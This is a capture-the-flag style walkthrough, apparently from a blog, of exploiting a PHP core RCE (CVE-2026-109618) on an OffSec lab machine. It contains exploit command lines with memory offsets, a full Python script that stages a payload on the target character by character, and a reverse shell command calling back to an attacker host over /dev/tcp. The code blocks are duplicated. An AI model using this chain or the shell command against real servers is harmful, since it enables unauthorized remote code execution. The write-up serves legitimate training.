October 24, 2026
Cracking CVE-2026-109618: OffSec Lab Walkthrough to RCE via PHP 8.4.26
Remote Code Execution (RCE) vulnerabilities in core programming language runtimes are rare gems. When CVE-2026-109618 dropped, it…

By Cyril Shaji
5 min read
Remote Code Execution (RCE) vulnerabilities in core programming language runtimes are rare gems. When CVE-2026-109618 dropped, it introduced php2shell, a sophisticated multi-stage exploit affecting PHP core versions below 8.2.35, 8.3.36, 8.4.27 and 8.5.12.
In this walkthrough, we will break down how to compromise a target machine running a vulnerable PHP server in an OffSec lab environment. We'll cover everything from initial discovery to tweaking a public exploit and bypassing character constraints to land a fully interactive reverse shell.
Phase 1: Information Gathering & Reconnaissance
Every successful penetration test starts with discovery. We begin by scanning the target host using nmap to map open ports and determine running service versions.
nmap 192.168.78.10 -p- -sV -v -Pnnmap 192.168.78.10 -p- -sV -v -Pn
The scan reveals an open HTTP service on port 80. Inspecting the HTTP response headers gives us exactly what we need. We are looking at an Apache/2.4.69 server running PHP/8.4.26.
Phase 2: Finding and Analyzing the Exploit
A quick search on Exploit-DB points us to EDB-ID 52704, which targets CVE-2026-109618.
OffSec's Exploit Database Archive PHP2Shell (CVE-2026-109618) - PHP core versions after v5.4 - RCE. CVE-2026-109618 . remote exploit for PHP platform
Let's pull down the exploit script using curl:
curl https://www.exploit-db.com/download/52704 -o 52704.pycurl https://www.exploit-db.com/download/52704 -o 52704.pyThe Exploit Mechanics
Digging into the source code of 52704.py, the exploit executes a complex attack chain:
-
Stage 0: Rotates the HTTP worker over prefork to ensure a clean thread environment.
-
Stage 1: Leverages a Set-Cookie heap leak to derive the Zend Memory Manager (MM) chunk base.
-
Stage 2: Exploits a second Set-Cookie leak to reveal the libphp base address.
-
Stage 3: Uses a fake reference inside session.upload_progress to overwrite a destructor pointer (pDestructor) with zif_system, giving us code execution.
However, the script has a massive catch: Because the exploit relies on a strict overlap within standard memory chunks (Zend Memory Manager chunks), the payload must fit entirely within the specific alignment boundary of the corrupted object structure. If the command payload exceeds 14 characters, it spills out of the allocated chunk slot, shifting the byte alignment and corrupting nearby memory pointers. This immediately crashes the single-worker Apache or PHP process before execution can finish successfully.
Let's run the script:
python3 52704.py -u http://192.168.78.10/python3 52704.py -u http://192.168.78.10/
Phase 3: Weaponizing and Adjusting for the Lab
Running the exploit out of the box against our target lab environment fails. This is because lab memory architectures differ slightly from standard Docker environments. We need to modify 52704.py in two places.
- Adjusting Memory Bounds
Open the script and locate the functions chunk_base_from_cookie and libphp_base_from_cookie. They use the following conditional check to isolate valid leaked memory pointers out of raw Set-Cookie data:
if 0x7F0000000000 <= v < 0x800000000000:if 0x7F0000000000 <= v < 0x800000000000:If the server is sending back valid leaks that fall outside this narrow boundary, the script silently discards them. We can keep widening this boundary until the exploit works for our lab environment. We need to adjust the lower memory boundary validation check from standard Linux space (0x7F0000000000) to match our lab's memory mapping layout (0x6F0000000000).
- Tuning for Speed
Because we will be firing this script repeatedly, modify the script properties and run arguments to attempt Stage 3 only once per execution step.
Use flags to update the offsets (Reference shared below) to match this lab environment and include a command to write data to a file while maintaining the 14-character limit.
GitHub - godylockz/cve-2026-109618-php2shell: Proof of concept for CVE-2026-109618/CVE-2026-109619… Proof of concept for CVE-2026-109618/CVE-2026-109619: PHP2Shell - godylockz/cve-2026-109618-php2shell
python3 ./52704.py -u http://192.168.78.10/index.php --zif-offset 0x465370 --dtor-offset 0x65EB60 --cmd 'echo -n "1">>a' --retries 1python3 ./52704.py -u http://192.168.78.10/index.php --zif-offset 0x465370 --dtor-offset 0x65EB60 --cmd 'echo -n "1">>a' --retries 1Phase 4: Overcoming the 14-Character Limit
Standard reverse shell payloads are well over 14 characters. How do we pass a payload when our absolute maximum size is echo -n "1">>a?
The Strategy: We write a local script that uses the exploit to piece together a fully functioning shell script on the target filesystem character by character.
#!/usr/bin/env python3
import subprocess
import sys
import time
import urllib.request
URL = "http://192.168.78.10/index.php"
OUTPUT_FILE = "r"
def build_append_cmd(char: str) -> str:
"""Builds a minimal shell command to append a character.
Keeps the command strictly within length limits.
"""
# Double-quote escaping rules for remote bash
if char == '"':
return f'echo -n \\">> {OUTPUT_FILE}'.replace(" ", "")
elif char == "\\":
return f'echo -n "\\\\">> {OUTPUT_FILE}'.replace(" ", "")
elif char == "$":
return f'echo -n "\\$">> {OUTPUT_FILE}'.replace(" ", "")
elif char == " ":
# echo -n " ">>r
return f'echo -n " ">>{OUTPUT_FILE}'
else:
# Standard character: echo -n "x">>r
return f'echo -n "{char}">>{OUTPUT_FILE}'
def main():
if len(sys.argv) > 1:
payload = sys.argv[1]
else:
payload = input("Enter payload to write character-by-character: ")
print(
f"[*] Target payload: {payload!r} ({len(payload)} total characters)\n"
)
for idx, char in enumerate(payload, 1):
remote_cmd = build_append_cmd(char)
print(f"[{idx}/{len(payload)}] Appending {char!r} -> CMD: {remote_cmd}")
full_command = [
"python3",
"52704.py",
"-u",
URL,
"--zif-offset",
"0x465370",
"--dtor-offset",
"0x65EB60",
"--retries",
"1",
"--cmd",
remote_cmd,
]
# Run exploit and wait for it to complete
proc = subprocess.run(
full_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
if "EXPLOIT_FAILED (no proof" in proc.stdout or proc.returncode == 0:
print(f" [+] Executed blind successfully.")
else:
print(f" [!] Response output:")
print(" " + proc.stdout.strip().replace("\n", "\n "))
time.sleep(0.3)
print(
f"\n[+] Finished writing payload to remote file '{OUTPUT_FILE}'."
)
parsed_url = urllib.parse.urlparse(URL)
base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
new_file = f"{base_url}/{OUTPUT_FILE}"
print(f"[*] Fetching appended output from: {new_file}\n")
try:
with urllib.request.urlopen(new_file) as response:
content = response.read().decode("utf-8")
print("[+] Output Response:")
print(content)
except Exception as e:
print(f"[!] Error fetching file: {e}")
if __name__ == "__main__":
main()#!/usr/bin/env python3
import subprocess
import sys
import time
import urllib.request
URL = "http://192.168.78.10/index.php"
OUTPUT_FILE = "r"
def build_append_cmd(char: str) -> str:
"""Builds a minimal shell command to append a character.
Keeps the command strictly within length limits.
"""
# Double-quote escaping rules for remote bash
if char == '"':
return f'echo -n \\">> {OUTPUT_FILE}'.replace(" ", "")
elif char == "\\":
return f'echo -n "\\\\">> {OUTPUT_FILE}'.replace(" ", "")
elif char == "$":
return f'echo -n "\\$">> {OUTPUT_FILE}'.replace(" ", "")
elif char == " ":
# echo -n " ">>r
return f'echo -n " ">>{OUTPUT_FILE}'
else:
# Standard character: echo -n "x">>r
return f'echo -n "{char}">>{OUTPUT_FILE}'
def main():
if len(sys.argv) > 1:
payload = sys.argv[1]
else:
payload = input("Enter payload to write character-by-character: ")
print(
f"[*] Target payload: {payload!r} ({len(payload)} total characters)\n"
)
for idx, char in enumerate(payload, 1):
remote_cmd = build_append_cmd(char)
print(f"[{idx}/{len(payload)}] Appending {char!r} -> CMD: {remote_cmd}")
full_command = [
"python3",
"52704.py",
"-u",
URL,
"--zif-offset",
"0x465370",
"--dtor-offset",
"0x65EB60",
"--retries",
"1",
"--cmd",
remote_cmd,
]
# Run exploit and wait for it to complete
proc = subprocess.run(
full_command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
if "EXPLOIT_FAILED (no proof" in proc.stdout or proc.returncode == 0:
print(f" [+] Executed blind successfully.")
else:
print(f" [!] Response output:")
print(" " + proc.stdout.strip().replace("\n", "\n "))
time.sleep(0.3)
print(
f"\n[+] Finished writing payload to remote file '{OUTPUT_FILE}'."
)
parsed_url = urllib.parse.urlparse(URL)
base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
new_file = f"{base_url}/{OUTPUT_FILE}"
print(f"[*] Fetching appended output from: {new_file}\n")
try:
with urllib.request.urlopen(new_file) as response:
content = response.read().decode("utf-8")
print("[+] Output Response:")
print(content)
except Exception as e:
print(f"[!] Error fetching file: {e}")
if __name__ == "__main__":
main()On your attacker machine, fire up a Netcat listener:
nc -nlvp 4444nc -nlvp 4444Run our script and provide it the reverse shell payload.
python3 payload_sender.py
bash -i >& /dev/tcp/10.13.78.50/4444 0>&1python3 payload_sender.py
bash -i >& /dev/tcp/10.13.78.50/4444 0>&1
The script will run until it appends all bytes one at a time and ends by printing the response from the newly added remote file.
Phase 5: Spawning the Shell and Grabbing the Flag
Now that our full payload is staged securely in the file "r" on the webroot, we execute it in one shot using a brief command that comfortably sits under the 14-byte threshold:
python3 52704.py -u http://192.168.78.10/index.php --zif-offset 0x465370 --dtor-offset 0x65EB60 --cmd 'bash r' --retries 1python3 52704.py -u http://192.168.78.10/index.php --zif-offset 0x465370 --dtor-offset 0x65EB60 --cmd 'bash r' --retries 1
Now that we have a reverse shell, we can find the flag!
🔎 Read the technical breakdown by Offsec:
PHP2Shell - Critical Vulnerabilities in PHP Core (CVE-2026-109618/CVE-2026-109619) Two major CVEs have been discovered in PHP core, both rated critical, leading to server crashes and potential remote…
💻 Try the free lab:
Offensive Security CVE-2026-109618